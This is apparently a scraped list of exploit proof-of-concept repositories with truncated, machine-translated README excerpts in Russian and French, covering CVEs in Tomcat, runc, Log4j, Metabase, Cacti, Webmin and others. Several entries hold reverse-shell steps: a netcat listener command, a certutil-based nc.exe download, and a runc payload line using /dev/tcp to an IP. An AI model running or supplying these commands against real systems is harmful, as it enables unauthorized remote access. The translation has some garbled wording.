CVE-2019-0232

Эксплойт CGI RCE PoC для неаутентифицированного RCE через CGI batch-эндпоинты. Загружает nc.exe на цель с помощью certutil и инициирует обратный shell. Настройка 1. Разместите nc.exe в той же директории, где находится nc.exe: python3 -m http.server 80 2. Запустите слушатель: nc -lvnp 1234 3...

CVE-2021-21220

Сначала установите: https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Winx64/848005/ Версия Chrome: 90.0.4403.0 Установите chrome-win.zip 1. node server.js запустите ./chrome.exe --no-sandbox перейдите на localhost:8888 Обратите внимание, что CVE, на который...

CVE-2019-0232_tomcat_cgi_exploit

Скрипт эксплойта CGI для Apache Tomcat Описание Скрипт на Python, предназначенный для эксплуатации CGI-уязвимостей на серверах Apache Tomcat путем установления обратного shell-соединения. Пример использования Возможности Автоматизированный эксплойт для CGI-уязвимостей Apache Tomcat Настраиваемые...

CVE-2019-5736

🖥️ -h3x0v3rl0rd- ️⃣ CVE-2019-5736 Использование : машина уязвима к CVE-2019-5736, следуйте шагам эксплойта Runc CVE-2019-5736. Загрузите файл main.go, измените полезную нагрузку в файле на: var payload = "!/bin/bash \n bash -i & /dev/tcp/10.10.14.12/1234 0&1" После этого выполните: go build main.go...

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE

Alternative-Approach-Reverse-Shell-Callback-Test-InvokeAI-RCE Альтернативный подход: Reverse Shell и тест обратного вызова Обзор Этот репозиторий содержит альтернативные подходы к созданию полезных нагрузок для уязвимости RCE в InvokeAI CVE-2024-12029, когда внедрение SSH-ключа не срабатывает...

POC_react2shell_CVE-2025-55182

Exploitation RCE des composants serveur React de Next.js Exploite CVE-2025-55182 pour exécution de code à distance via pollution de prototype. Auteur : Severian N.K. Description Cet outil exploite une vulnérabilité de pollution de prototype dans les applications Next.js utilisant les composants...

LOGJ4_PocShell_CVE-2021-44228

log4j-shell-poc Доказательство концепции PoC для недавно обнаруженной уязвимости CVE-2021-44228. Недавно была обнаружена новая уязвимость в log4j — библиотеке журналирования на Java, которая очень широко используется в таких проектах, как elasticsearch, minecraft и многих других. В этом репозитор...

htb-sau-exploit-chain

Цепочка эксплойтов HTB Sau — CVE-2023-27163 SSRF + автоматизация RCE в Maltrail Python-скрипт эксплойта, который объединяет CVE-2023-27163 Server-Side Request Forgery в Request Baskets ≤ 1.2.1 с неаутентифицированной уязвимостью удалённого выполнения кода в Maltrail 0.53, доставляя reverse shell...

CVE-2023-422-Chamilo-LMS-RCE

Предварительные требования pip install requests Информация Python-скрипт использует уязвимость CVE-2023-422 для загрузки файла на сервер и использует этот файл для отправки обратной оболочки на слушатель netcat, и всё это можно сделать без аутентификации. Однако для успешного использования...

CVE-2023-27163-AND-Mailtrail-v0.53

Автоматический эксплойт Краткое описание Следующий эксплойт использует уязвимость SSRF в Requests Baskets v1.2.1 для перенаправления внутреннего приложения, работающего на 127.0.0.1:80, на внешнее приложение по пути /pwned. После перенаправления приложения Mailtrail v0.53 будет выполнена команда...

Nexus-Repository-Manager3-EL-CVE-2018-16621-https-www.cve.org-CVERecord-id-CVE-2018-16621-

Ce script cible la vulnérabilité d'injection EL dans Nexus Repository Manager 3 CVE-2018-16621, exécution en un clic de l'exploit pour obtenir un shell inverse. Exemple d'exécution : Exécutez le script localement sur la machine attaquante, saisissez l'IP et le port de la cible, ainsi que l'IP et ...

CVE-2023-38831_Exploit

CVE-2023-38831 Эксплойт — доказательство концепции PoC Обзор Этот репозиторий содержит Python-скрипт, демонстрирующий PoC-эксплойт доказательство концепции для CVE-2023-38831. Данный эксплойт использует уязвимость в определённых механизмах обработки файлов для выполнения полезной нагрузки reverse...

SmileySploit

SmileySploit Un script de base qui exploite CVE-2011-2523 Vue d'ensemble En 2011, une porte dérobée intégrée a été découverte sur les serveurs vsFTPd exécutant la version 2.3.4, dans laquelle l'utilisation d'un émoticône smiley ":" déclenche une connexion inverse vers un attaquant. Avec cela, il...

CVE-2023-38646

Metabase Pre-Auth RCE POC - CVE-2023-38646 Metabase с открытым исходным кодом до версии 0.46.6.1 и Metabase Enterprise до версии 1.46.6.1 позволяют злоумышленникам выполнять произвольные команды на сервере. Я написал скрипт для непосредственного получения reverse shell на машине атакующего...

Penetration-Test

Тест на проникновение Полный отчет о тесте на проникновение против IP Ubuntu VM. Цепочка атак: перебор каталогов → обнаружение резервных файлов → взлом паролей → загрузка файлов в CMS → обратная оболочка → повышение привилегий ядра Dirty Pipe, CVE-2022-0847. Структура репозитория /report – Итогов...

SHELL-POC-CVE-2022-46169

SHELL-POC-CVE-2022-46169 Une preuve de concept bash du CVE-2022-46169 envoyant une charge utile de shell inverse. Pour créer votre propre environnement vulnérable, visitez ce dépôt : https://github.com/m3ssap0/cacti-rce-cve-2022-46169-vulnerable-application. Utilisation : ./poc.sh -i -p -u...

CVE-2022-24715

Icinga Web 2 - Аутентифицированное удаленное выполнение кода 2.8.6, 2.9.6, 2.10 Удаленное выполнение команд Обратная оболочка Использование usage: exploit.py -h -u URL -U USER -P PASSWORD -i IP -p PORT Welcome. options: -h, --help show this help message and exit -u URL, --url URL Insert URL...

log4shell-exploitation-lab

Лабораторная работа по эксплуатации Log4Shell CVE-2021-44228 Воспроизвёл уязвимость Log4Shell от начала до конца в изолированной лабораторной среде — от первоначальной эксплуатации до полного отчёта по устранению. Выполнено как парная часть магистерской курсовой работы вместе с Адитьей Чаудхари,...

Webmin_Exploit_reverse_shell

Введение: Эксплойт для Webmin — это целевой эксплойт для сервиса Webmin, который может быть использован на старых версиях Webmin. Данный эксплойт применяет различные техники для выполнения вредоносного кода и получения несанкционированного доступа к целевой системе. Он включает: Использование как...

CVE-2022-46169

CVE-2022-46169 POC Ceci est un script de preuve de concept POC pour la vulnérabilité CVE-2022-46169 qui affecte Cacti version 1.2.22. Description La vulnérabilité CVE-2022-46169 permet une injection de commande sans authentification dans les versions de Cacti jusqu'à la 1.2.22, permettant une...